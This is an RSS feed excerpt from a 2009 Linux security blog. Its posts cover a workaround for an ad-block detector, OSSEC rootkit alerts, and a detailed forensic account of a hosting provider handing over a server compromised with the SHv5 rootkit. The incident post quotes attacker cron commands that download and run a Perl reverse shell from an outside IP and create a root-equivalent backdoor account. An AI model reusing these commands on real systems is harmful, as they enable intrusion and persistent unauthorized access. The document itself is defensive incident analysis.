<blockquote><p>You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit www.archivum.info.</p></blockquote>
<p>When I first saw this I laughed&#8230;and then I tried to find a way to bypass it.<br />
I used <a href="http://curl.haxx.se/">curl</a> to see the sites html code:<br />
<pre><code2>$ curl -v www.archivum.info
curl -v www.archivum.info 
* About to connect() to www.archivum.info port 80 (#0)
*&nbsp;&nbsp; Trying 69.147.224.162... connected
* Connected to www.archivum.info (69.147.224.162) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 libssh2/1.2
&gt; Host: www.archivum.info
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Date: Tue, 17 Nov 2009 11:24:22 GMT
&lt; Server: Apache
&lt; Last-Modified: Mon, 16 Nov 2009 08:41:17 GMT
&lt; Accept-Ranges: bytes
&lt; Content-Length: 9392
&lt; Vary: Accept-Encoding
&lt; Content-Type: text/html
&lt; 
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;archivum.info - The Internet archive.&lt;/title&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;var disabled = false;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;http://www.archivum.info/js/adblocker_probe.js?
site=http://googlead.foobar.tld/&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot;&gt;if (disabled == false) { location.replace(&quot;http://www.archivum.info/denied&quot;);
alert(&quot;You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising
for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit
www.archivum.info.&quot;);}&lt;/script&gt;&lt;/head&gt;

[snip]</code2></pre></p>
<p>Here&#8217;s how this site blocks Adblockplus: there&#8217;s a variable called <em>disabled</em> set to &#8220;<strong>false</strong>&#8221; then if a js (http://www.archivum.info/js/adblocker_probe.js) runs it sets <em>disabled</em> to &#8220;<strong>true</strong>&#8221; . The hint is that adblockplus blocks urls starting with &#8220;<strong>googlead.</strong>&#8221; so it won&#8217;t visit &#8220;http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/&#8221; and the variable will remain &#8220;<strong>false</strong>&#8220;. Then the alert pops up.</p>
<p>The solution is very simple, just add an exception to your local AdblockPlus rules, AdblockPlus Preferences -> Add Filter:<br />
<code>@@|http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/</code></p>
<p>So firefox, visits the js url, <em>disabled</em> becomes &#8220;<strong>true</strong>&#8221; you are allowed to continue browsing the site and AdblockPlus continues blocking all blockable items.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/11/17/get-adblocking-back-for-archivum-info/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update on the &#8220;epic fail from a hosting company&#8230;&#8221; blog entry</title>
		<link>http://www.void.gr/kargig/blog/2009/10/09/update-on-the-epic-fail-from-a-hosting-company-blog-entry/</link>
		<comments>http://www.void.gr/kargig/blog/2009/10/09/update-on-the-epic-fail-from-a-hosting-company-blog-entry/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 20:55:57 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=876</guid>
		<description><![CDATA[For those who read my previous post, &#8220;Epic fail from a hosting company involving bad customer support and a critical security issue&#8221;
During the week some manager of the hosting company contacted the guy renting the servers and offered a free RAM upgrade for one server and a 60% monthly discount for 2 of the servers. [...]]]></description>
			<content:encoded><![CDATA[<p>For those who read my previous post, <a href="http://www.void.gr/kargig/blog/2009/10/04/epic-fail-from-a-hosting-company-involving-bad-customer-support-and-a-critical-security-issue/">&#8220;Epic fail from a hosting company involving bad customer support and a critical security issue&#8221;</a><br />
During the week some manager of the hosting company contacted the guy renting the servers and offered a free RAM upgrade for one server and a 60% monthly discount for 2 of the servers. </p>
<p>Not bad at all regarding the owner of the servers, but still I have many security related concerns about the hosting company </p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/10/09/update-on-the-epic-fail-from-a-hosting-company-blog-entry/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ossec to the rescue</title>
		<link>http://www.void.gr/kargig/blog/2009/10/06/ossec-to-the-rescue/</link>
		<comments>http://www.void.gr/kargig/blog/2009/10/06/ossec-to-the-rescue/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 19:01:04 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[iroffer]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[process hider]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=867</guid>
		<description><![CDATA[That&#8217;s why I love ossec:
OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX-&#62;rootcheck
Rule: 510 fired (level 7) -&#62; &#34;Host-based anomaly detection event (rootcheck).&#34;
Portion of the log(s):

Rootkit &#039;Suspicious&#039; detected by the presence of file &#039;/var/www/vhosts/YYYY.com/httpdocs/album_mod/..&#160;&#160;/.../.log&#039;.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX-&#62;rootcheck
Rule: 510 fired (level 7) -&#62; &#34;Host-based anomaly detection event (rootcheck).&#34;
Portion of the [...]]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s why I love <a href="http://www.ossec.net/">ossec</a>:</p>
<p><pre><code2>OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX-&gt;rootcheck
Rule: 510 fired (level 7) -&gt; &quot;Host-based anomaly detection event (rootcheck).&quot;
Portion of the log(s):

Rootkit &#039;Suspicious&#039; detected by the presence of file &#039;/var/www/vhosts/YYYY.com/httpdocs/album_mod/..&nbsp;&nbsp;/.../.log&#039;.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX-&gt;rootcheck
Rule: 510 fired (level 7) -&gt; &quot;Host-based anomaly detection event (rootcheck).&quot;
Portion of the log(s):

Rootkit &#039;Suspicious&#039; detected by the presence of file &#039;/var/www/vhosts/YYYY.com/httpdocs/language/lang_english/&nbsp;&nbsp;&nbsp;&nbsp; /... /.log&#039;.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX-&gt;rootcheck
Rule: 510 fired (level 7) -&gt; &quot;Host-based anomaly detection event (rootcheck).&quot;
Portion of the log(s):

Rootkit &#039;Suspicious&#039; detected by the presence of file &#039;/var/www/vhosts/YYYY.com/httpdocs/language/&nbsp;&nbsp;&nbsp;&nbsp; /... /.log&#039;.

 --END OF NOTIFICATION</code2></pre></p>
<p>Just found this by copying some files for a client from his previous hosting company to one of the hosting servers of a company I work for.</p>
<p>There were actually 2 different sets of files.<br />
The first one contained a tool that &#8220;hides&#8221; a process, called: <em>&#8220;XH (XHide) process faker&#8221;</em>, and the second one contained an <a href="http://iroffer.org/">iroffer</a> executable. </p>
<p>Files:<br />
i)<a href="http://www.void.gr/kargig/blog/wp-content/xh-files.tar.gz">xh-files.tar.gz</a><br />
Listing:<br />
<code>.log/<br />
.log/.crond/<br />
.log/.crond/xh<br />
.log/week~<br />
.log/week</code></p>
<p>ii)<a href="http://www.void.gr/kargig/blog/wp-content/iroffer-files.tar.gz">iroffer-files.tar.gz</a><br />
Listing:<br />
<code>.--/<br />
.--/imd.pid<br />
.--/imd.state.tmp<br />
.--/imd.state<br />
.--/linux</code></p>
<p><em>Mind the . (dot) of the directories containing the files.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/10/06/ossec-to-the-rescue/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Epic fail from a hosting company involving bad customer support and a critical security issue</title>
		<link>http://www.void.gr/kargig/blog/2009/10/04/epic-fail-from-a-hosting-company-involving-bad-customer-support-and-a-critical-security-issue/</link>
		<comments>http://www.void.gr/kargig/blog/2009/10/04/epic-fail-from-a-hosting-company-involving-bad-customer-support-and-a-critical-security-issue/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 10:29:43 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[customer support]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[hard disk]]></category>
		<category><![CDATA[lsattr]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[plesk]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[shv4]]></category>
		<category><![CDATA[shv5]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[ttyload]]></category>
		<category><![CDATA[ttymon]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=833</guid>
		<description><![CDATA[To cut the story as short as possible let&#8217;s say that someone rents some dedicated servers somewhere in a big hosting company. I occasionally do some administrative tasks for him.
A server stopped responding and was unbootable on October 1st, one disk had crashed, then the hosting company did a huge mistake, I notified them about [...]]]></description>
			<content:encoded><![CDATA[<p>To cut the story as short as possible let&#8217;s say that someone rents some dedicated servers somewhere in a big hosting company. I occasionally do some administrative tasks for him.<br />
A server stopped responding and was unbootable on October 1st, one disk had crashed, then the hosting company did a huge mistake, I notified them about it and then they did another even bigger mistake (security issue) on the next day, October 2nd. I re-notified them about it&#8230;<br />
So you can either read the whole story or if you are only interested on the security issue, skip the first day and go straight to October 2nd.</p>
<p>Some details, the server had 2 disks, sda with the OS (Debian 4.0) with Plesk control panel and sdb which had some backup files.</p>
<p><em><strong>October 1st 2009:</strong></em><br />
<em>10:10</em> I got a telephone call to help on that server because it looked dead and it couldn&#8217;t even be rebooted from the hosting&#8217;s company control panel.<br />
<em>10:15</em> I contacted the company&#8217;s support by email and notified them of the problem.<br />
<span id="more-833"></span><br />
<em>10:23</em> I got an email that the engineers would take a look at he problem as soon as possible.<br />
<em>11:01</em> I got another email from an engineer telling me that he will take a look at the server and will notify me with updates on the issue.<br />
<em>11:36</em> I got the following email:</p>
<blockquote><p>There is something wrong with either the drive or the drives drivers.<br />
While booting it gives strange errors that the drive is busy and cant be<br />
accessed. After rebooting it gives me a bootdisk failure.</p>
<p>I will run some tests on the drive to see if it is faulty. If so I will<br />
update you and replace the drive.</p>
<p>This all is regarding the first drive &#8217;sda&#8217;.</p>
<p>I hope to have informed you sufficient. When I know more I will update you.
</p></blockquote>
<p><em>11:59</em> Another email from tech support:</p>
<blockquote><p>I would like to update you about the following.</p>
<p>After trying to do some tests the only result I have is that the drive<br />
can&#8217;t be found by my harddrive checking software. This usually indicates<br />
that the drive is faulty.</p>
<p>I hope you have all your data back-upped or you have it on the second<br />
disk (which seems to be fine).</p>
<p>I will replace the harddrive for you and reinstall your system.</p>
<p>When this is done I will update you. If you have any questions or<br />
suggestions before I replace the drive please let me know.</p>
<p>I hope to have informed you sufficient.</p></blockquote>
<p><em>12:08</em> I replied:</p>
<blockquote><p>You have informed me more than sufficiently&#8230;unfortunately though you<br />
didn&#8217;t have any good news to tell me&#8230;</p>
<p>I have backups offline, and I might even have some on the second disk<br />
as far as I can remember. So just re-install Debian with Plesk on it<br />
and I will import back my settings.</p>
<p>Thanks a lot for your time and work, I really appreciate it
</p></blockquote>
<p><em>14:41</em> New email from tech support:</p>
<blockquote><p>I would like to inform you about your server XXX.</p>
<p>Fortunately i have good news for you! Because you (seem to have) used your harddrive in a<br />
raid-1 configuration, i was able to replace the broken harddrive. After this i was able to<br />
succesfully boot your machine. After checking: the new harddrive is being recognized and it<br />
is ready to use.</p>
<p>Hope to have informed you sufficiently. If you have any further questions do not hesitate to<br />
contact us again.
</p></blockquote>
<p>Now, THAT was strange. There was no raid-1 config on the drives. The machine was pingable and I could ssh to it. I entered the box and I found myself in the old sda drive but with a totally different sdb disk attached. It was a disk with another installation inside, from someone else who had a raid-1 config. I can only guess that tech support somehow mixed up the disks from his box and &#8220;my&#8221; server so I got his second raid-1 disk. sda was _NOT_ changed! That meant that the &#8220;backup&#8221; disk was gone but sda was working. I quickly created a backup dir on sdb and rsync-ed the whole sda to sdb, sdb had just a basic install inside, only 3Gb out of 80Gb were used. Some files were corrupt though and S.M.A.R.T. reported errors from time to time while copying.</p>
<p><em>15:23</em> I emailed them back to notify them that they did not actually change sda</p>
<blockquote><p>The box might be up but the disk (sda) is in a very bad condition.<br />
S.M.A.R.T checks report this<br />
Oct  1 14:09:04 XXX smartd[2889]: Device: /dev/sda, 1 Offline<br />
uncorrectable sectors</p>
<p>I can&#8217;t use mysql as well, it reports broken tables. I can restore the<br />
tables from backup but I would need a good working disk to do that.</p>
<p>From the following 2 diagrams I can see that you replaced sdb and not sda.</p>
<p>http://XXX/munin/YYY/XXX-smart_sda.html</p>
<p>http://XXX/munin/YYY/XXX-smart_sdb.html</p>
<p>Can you please let me know of what changed ? I got confused.<br />
If possible please call me at +555-1234 or +5555-5678 for details</p></blockquote>
<p><em>16:52</em> Email response from tech support:</p>
<blockquote><p>Regarding your server XXX, I would like to inform you with the following.</p>
<p>It indeed looks like we replaced the wrong drive for you. Since I read<br />
you have offline backups. I would like to replace both harddrives in<br />
your server.</p>
<p>Please let us know if we can replace both drives and reinstall your<br />
server from scratch.</p>
<p>If you have any other questions, don&#8217;t hesitate to contact us again.
</p></blockquote>
<p><em>17:05</em> I replied:</p>
<blockquote><p>Since you have replaced sdb already I took another system backup on<br />
that disk in order to save bandwidth and precious time.</p>
<p>What I would like from you to do is to see whether you can take an<br />
exact image of &#8220;sda&#8221; to another 80Gb disk and put that new sda disk on<br />
the machine to boot (probably using a disk imaging tool or linux dd<br />
command). That would save both you and me looooots of time since I<br />
would just have to replace the damaged files on the system and you<br />
don&#8217;t have to re-install.</p>
<p>If imaging sda fails, then you can resort back to re-installing.</p>
<p>To help you identify the drives:<br />
sda is Western Digital:<br />
=== START OF INFORMATION SECTION ===<br />
Model Family:     Western Digital Caviar SE (Serial ATA) family<br />
Device Model:     WDC WD800JD-75MSA1<br />
Serial Number:    WD-XXXXXXXXXXXX<br />
Firmware Version: 10.01E01<br />
User Capacity:    80,000,000,000 bytes<br />
Device is:        In smartctl database [for details use: -P show]<br />
ATA Version is:   7<br />
ATA Standard is:  Exact ATA specification draft version not indicated<br />
Local Time is:    Thu Oct  1 16:03:19 2009 CEST<br />
SMART support is: Available &#8211; device has SMART capability.<br />
SMART support is: Enabled</p>
<p>and sdb is Maxtor:<br />
=== START OF INFORMATION SECTION ===<br />
Model Family:     Maxtor DiamondMax Plus 9 family<br />
Device Model:     Maxtor 6Y080M0<br />
Serial Number:    YYYYYYYYYY<br />
Firmware Version: YAR51HW0<br />
User Capacity:    80,000,000,000 bytes<br />
Device is:        In smartctl database [for details use: -P show]<br />
ATA Version is:   7<br />
ATA Standard is:  ATA/ATAPI-7 T13 1532D revision 0<br />
Local Time is:    Thu Oct  1 16:04:08 2009 CEST<br />
SMART support is: Available &#8211; device has SMART capability.<br />
SMART support is: Enabled</p>
<p>Please leave Maxtor (sdb) as it is!</p></blockquote>
<p>I clearly did not want to tell them that sdb had the installation of another guy because I wasn&#8217;t sure that they would be able to bring me back my old sdb. If they couldn&#8217;t I would have to transfer all the backup data I had offline through the net, which would surely take a reaaaaally longer time than copying from disk to disk. If they left the new sdb on the box though I could easily copy most part of the system to the &#8220;new&#8221; sda when they would put it and only restore the corrupted files.</p>
<p><em>18:05</em> New email from tech support</p>
<blockquote><p>In reply to your email, I would like to inform you with the following.</p>
<p>One of our engineers will try making an image of sda to a new disk as<br />
soon as possible. The engineer will update you about the progress.</p>
<p>If you have any qeustions in the meantime, don&#8217;t hesitate to contact us</p></blockquote>
<p><em><strong>October 2nd</strong></em><br />
<em>09:52</em> New email from tech support:</p>
<blockquote><p>I would like to inform you on this ticket.</p>
<p>Your server was re-installed with Debian last night.<br />
This morning I have completed the Plesk install.</p>
<p>Server details:</p>
<p>- XXX<br />
- IP: AA.BB.CC.DD<br />
- Password (root): ABCDEFGHIJK</p>
<p>Plesk Details:</p>
<p>- Plesk 8.6<br />
- https://AA.BB.CC.DD:8443<br />
- Password (admin):LMNOPQRSTU</p>
<p>If you need any further support on this ticket, please inform us.</p>
</blockquote>
<p>This is a really bad policy. Sending an email with root login details is totally unacceptable for my security standards, and I usually don&#8217;t nag about security _that_ much. But an email with the root password ? Come oooon&#8230;.</p>
<p>Anyway, I started the restore procedure from sdb to sda. At about 12:00 everything was mostly working again. At about 14:00 I had this brilliant idea to upgrade the kernel. The box had 2.6.18-6-486 so I decided to install 2.6.24-etchnhalf.1-686. The output of apt-get install linux-image-2.6.24-etchnhalf.1-686 was a bit weird though. It contained these lines among others:<br />
<code>Searching for splash image ... none found, skipping ...<br />
/bin/ls: invalid option -- v Try `/bin/ls --help' f    or more information<br />
</code></p>
<p>ls did not have a &#8220;-v&#8221; option ? This couldn&#8217;t be right&#8230;I issued an ls -v manually:<br />
<code># /bin/ls -v<br />
/bin/ls: invalid option -- v<br />
Try `/bin/ls --help' for more information.<br />
# /bin/ls --version<br />
ls - GNU fileutils-3.1</code></p>
<p>Gnu fileutils ? I go check /bin/ls on another Debian 4.0 box. ls -v works there and I also get<br />
<pre><code2># ls --version
ls (GNU coreutils) 5.97
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software.&nbsp;&nbsp;You may redistribute copies of it under the terms of
the GNU General Public License &lt;http://www.gnu.org/licenses/gpl.html&gt;.
There is NO WARRANTY, to the extent permitted by law.

Written by Richard Stallman and David MacKenzie.
</code2></pre></p>
<p>I checked /mnt/backup/bin/ls (the sdb drive I had taken a backup of the previous sda). It correctly showed the coreutils 5.97 version.<br />
I started thinking that something was totally wrong with the installation. I tried to reinstall coreutils. Then I got a new set of errors.<br />
<code>unable to make backup link of `./bin/ls' before installing new version: Operation not permitted</code></p>
<p>Ok&#8230;I knew by then that this was BAD. The machine was probably hacked and had some type of rootkit installed. I just wanted to make sure.<br />
<code># lsattr /bin/ls<br />
s---ia------- /bin/ls<br />
# lsattr /bin/ps<br />
s---ia------- /bin/ps<br />
# lsattr /sbin/ifconfig<br />
s---ia------- /sbin/ifconfig<br />
# lsattr /bin/netstat<br />
s---ia------- /bin/netstat<br />
# lsattr /usr/bin/md5sum<br />
s---ia------- /usr/bin/md5sum</code></p>
<p>Helloooo rootkit. The files had the following extended attibutes set:<br />
<em>a: A file with the ‘a’ attribute set can only be open in append mode for writing.  Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.<br />
i: A  file  with  the  ‘i’ attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file.  Only the superuser or  a  process  possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.<br />
s: When  a  file  with  the  ‘s’ attribute set is deleted, its blocks are zeroed and written back to the disk. </em></p>
<p>Using the ps executable from /mnt/backup/bin/ps I was able to check the processes for things that did not appear when using the trojaned /bin/ps.<br />
I diff-ed the output of the 2 ps commands and here&#8217;s the result:<br />
<pre><code2>root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2695&nbsp;&nbsp;0.0&nbsp;&nbsp;0.0&nbsp;&nbsp; 2064&nbsp;&nbsp; 512 ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ss&nbsp;&nbsp; 10:59&nbsp;&nbsp; 0:00 /sbin/ttyload -q
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2697&nbsp;&nbsp;0.0&nbsp;&nbsp;0.0&nbsp;&nbsp; 1692&nbsp;&nbsp; 568 ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S&nbsp;&nbsp;&nbsp;&nbsp;10:59&nbsp;&nbsp; 0:00 ttymon tymon
</code2></pre></p>
<p>I opened vim on /sbin/ttyload file and I saw among the headers:<br />
<code>^@$Info: This file is the propert of SH-crew team designed for test purposes. $<br />
^@$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and enjoy. $<br />
</code></p>
<p>A netstat -anp using a /mnt/backup/bin/netstat showed ttymon listening on raw:1 socket.</p>
<p>But how was ttymon loaded at startup ?<br />
Inside the /etc/inittab file I found the following:<br />
<code># Loading standard ttys<br />
0:2345:once:/usr/sbin/ttyload</code></p>
<p>/usr/sbin/ttyload contained the following:<br />
<code>/sbin/ttyload -q >/dev/null 2>&#038;1<br />
/sbin/ttymon >/dev/null 2>&#038;1</code></p>
<p>With Google&#8217;s precious help I was able to determine/identify that the rootkit installed was SHv5.</p>
<p>Ok, the server was hacked, it contained a rootkit but how did the attacker manage to compromise it ? I started checking on the logs. Syslog first of course. I used /mnt/backup/usr/bin/less /var/log/syslog, among other useless things I saw the following entries:<br />
<code>Oct  2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ &#038;&#038; rm -rf prs2.pl &#038;&#038; wget http://QQ.RR.EE.TT:64891/prs2.pl &#038;&#038; perl prs2.pl &#038;&#038; echo main.c)<br />
Oct  2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD (/usr/sbin/useradd -d /usr/local/psa/plesk -g root     -G root -s /bin/sh -p "9XRcZIXmTrZ/6" plesk-root &#038;&#038; /usr/sbin/usermod -u 0 -o plesk-root)<br />
</code></p>
<p>So there was a crontab entry which download a file, ran it and then another crontab entry created a new user called plesk-root.<br />
I downloaded the prs2.pl file and it was a perl reverse shell. It&#8217;s apparent that whoever did it had already access to the box at 08:23 in order to install the crontab entry, remember that I was given access to the box by the email sent at 09:52.</p>
<p>That made me <strong>FURIOUS</strong>. I can&#8217;t stress furious with enough boldness&#8230;only a &lt;blink&gt; tag can show how mad I was at the time with the tech support. </p>
<p>I notify the guy who told me to take a look at the server and we decide that I would go to his office to call the hosting company&#8217;s tech support on the phone. While driving I also called a friend to ask him about raw socket listening details&#8230;(thanks man).</p>
<p>I arrive at his office, I show him my findings and we call tech support. I try to explain to the nice lady that picked up the phone that I had a serious security issue with a dedicated server and that I wanted to speak to the specific engineer that installed the server, I knew his name from the emails. Instead of giving me that specific engineer I was transfered to talk to another guy. I told him the ticket number and he put me on hold for 10 minutes to read the ticket. He then came back and I told him to login to the box. He said he couldn&#8217;t. I told him that I have changed the sshd port to port number XXX but he said he could still not login. I told him to use ssh -p XXX root@IP to login but he said he couldn&#8217;t login. He also asked me to reset the root password to the one they sent by email. I couldn&#8217;t stand him much longer so I told him I would do it and that I would send him specific login details by email and that he should call me back immediately after receiving the email. And so I did.</p>
<p><em>15:53</em> I sent the tech support the following email:</p>
<blockquote><p>ssh -p 222 root@AA.BB.CC.DD<br />
the password is: ABCDEFGHIJK</p>
<p>telephone number: +5555-3456</p></blockquote>
<p>Nothing was happening. They neither called me nor logged inside the box.</p>
<p><em>16:10</em> I sent another email&#8230;and I was angry&#8230;really angry</p>
<blockquote><p>what&#8217;s taking you so long&#8230;I told you this is an important security<br />
issue on your side and you had me 10minutes on call waiting&#8230;You told<br />
me you couldn&#8217;t connect with ssh (??) and I mailed you back the login<br />
details and still nothing happens after another 15 minutes.</p>
<p>Not even an attempt to login to the box. Please call me at<br />
5555-3456 as soon as possible.
</p></blockquote>
<p><em>16:32</em> The phone rings and an engineer tells me he finally logged inside the box and that he was waiting for my instructions on what to look at. At that moment I was writing a new email to them, so I sent it to him and told him to read it and then I could show him more details. I sent him the following email:</p>
<blockquote><p>The following excerpt from syslog clearly show that the machine was<br />
compromised _before_ you gave it to me&#8230;</p>
<p>Oct  2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ &#038;&#038;<br />
rm -rf prs2.pl &#038;&#038; wget http://195.67.149.70:64891/prs2<br />
.pl &#038;&#038; perl prs2.pl &#038;&#038; echo main.c)<br />
Oct  2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD<br />
(/usr/sbin/useradd -d /usr/local/psa/plesk -g root -G root -s /bin/<br />
sh -p &#8220;9XRcZIXmTrZ/6&#8243; plesk-root &#038;&#038; /usr/sbin/usermod -u 0 -o plesk-root)</p>
<p>I entered the machine at 9:30. This is the output of last command:<br />
root     pts/0        ppp-94-68-80-4.h Fri Oct  2 09:29 &#8211; 10:33  (01:04)<br />
root     pts/0        85.17.130.250    Fri Oct  2 08:30 &#8211; 09:03  (00:33)
</p></blockquote>
<p>At first he denied that it was their problem. Then I started almost shouting at the phone and told him to pay attention at the time. I also told him about the attributes of the files trojaned ls,ps,netstat,etc files&#8230; He finally apologized and said that this was a terrible error from their side and that he would forward the ticket to a specific security group inside the tech support for further investigation.</p>
<p><em>16:50</em> I receive another call and they told me that they found out that their Plesk installation script &#8220;used a default password while installing&#8221; and that was taken advantage by the attacker and he got access to Plesk and then of course he could do anything he wanted. He apologized again and he asked me what I wanted to do. I told him that I wanted him to replace sda again with a new disk and re-install Debian and Plesk with caution. I was specific to let him know that I didn&#8217;t want them to even touch sdb. I also told him that I needed some 30minutes time to take backups from the disk. We agreed to send them an email when I would be ready.</p>
<p>I didn&#8217;t actually want to take a backup of the system, I had the backup on the sdb drive. What I wanted to do was to cover as much evidence as possible from the rootkit and see whether the attacker had anything left on the box. I couldn&#8217;t find much, so I just gathered some trojan executables, the ttymon, ttyload files and put them on a tarball and then to sdb.</p>
<p><em>17:11</em> I sent them an email:</p>
<blockquote><p>As we agreed please proceed in re-installing the system on sda leaving<br />
sdb _as it is_.
</p></blockquote>
<p><em>17:48</em> Email from tech support:</p>
<blockquote><p>In reply to your email, I would like to inform you with the following.</p>
<p>I&#8217;ll start the installation as soon as possible. And I will inform you<br />
about the progress.</p>
<p>If you have any questions in the meantime, don&#8217;t hesitate to contact me<br />
again.</p></blockquote>
<p>Again nothing was happening for hours and hours&#8230;</p>
<p><em>22:01</em> I sent them a new email:</p>
<blockquote><p>Hello,<br />
I was told on the phone that the installation would take place today.<br />
I still can&#8217;t see anyone shutting down the box and re-installing<br />
it&#8230;is someone taking care of this ticket ?</p></blockquote>
<p><em><strong>October 3rd</strong></em><br />
<em>02:47</em> I finally receive an email from tech support</p>
<blockquote><p>I would like to update you on the status of your ticket.</p>
<p>I apologise for the delay with the reinstallation of your server. I will<br />
begin the reinstall shortly.</p>
<p>I will keep you informed.</p></blockquote>
<p><em>03:33</em> I reply:</p>
<blockquote><p>This issue is getting harder and harder to solve by the hour, first<br />
you change the wrong disk, then you hand me a compromised box and now<br />
I get this big delay&#8230;<br />
This should have been a priority ticket at least since the security<br />
incident. I think we deserved some more attention&#8230;</p></blockquote>
<p><em>04:17</em> I got a reply:</p>
<blockquote><p>Thank you for your mail. I would like to update you on the status of<br />
your server.</p>
<p>I am in the process of reinstalling your server. All that remains is to<br />
complete the Plesk installation. I am doing my best to complete this for<br />
you as soon as possible.</p>
<p>I will inform you once the process is complete.
</p></blockquote>
<p><em>06:13</em> A new email from tech support:</p>
<blockquote><p>
I would like to update you on the status of your server.</p>
<p>XXX has been reinstalled with Debian 4 32-bit and Plesk 8.6. The<br />
details are as follows:</p>
<p>LOGIN<br />
IP Address: AA.BB.CC.DD<br />
Password: ABCDEFG</p>
<p>PLESK<br />
Url: https://AA.BB.CC.DD:8443<br />
Username: admin<br />
Password: KLMNOPQR</p>
<p>Please do not hesitate to contact us if you require any further assistance.</p></blockquote>
<p>before doing any copying of files from sdb to sda I checked the server for ls -v&#8230; </p>
<p><strong>Some notes as a conclusion.</strong><br />
i) This is the worst customer support I&#8217;ve seen to date. I&#8217;ve opened tickets before on that hosting company, even for similar cases like replacing disks, motherboard and RAM and I always got first class customer support. This makes me think that its the specific engineers who handled my ticket are the root of the problem and not the tech support team as a whole. Should I call their supervisor and notify him explicitly on the problem they created or should I just try to forget about them ?<br />
ii) It really strikes me as odd that the attacker knew the exact time and IP of the box at the seconds of the Plesk installation. I know this might sound like a conspiracy theory, but there&#8217;s a good chance that the engineer who handled the first installation was somehow involved with the attack. Maybe his box is also compromised by the attacker. The 2 installations on the box happened by a different engineer each time. In fact the guy who did the first installation has never responded to any further emails of the ticket. The ticket was probably handed off to some other engineers.<br />
iii) Never ever trust a box you&#8217;ve been handed to be safe and secure. At least I won&#8217;t ever again. An automated attack doesn&#8217;t take more than a few seconds to take place. Don&#8217;t use any of your passwords on a new box. Don&#8217;t ssh to anywhere else before you make sure there&#8217;s nothing wrong with it. I was lucky this time because I didn&#8217;t connect to any other server, but from now own this will be a &#8220;policy&#8221; for me.<br />
iv) How stupid is it to send a cleartext email with a root password and the IP of a box in it ? The hosting company has a control panel secured by HTTPS with a valid certificate, they should use that control panel to provide new login details to customers. Sending cleartext login details by email is totally unacceptable as a hosting company policy.<br />
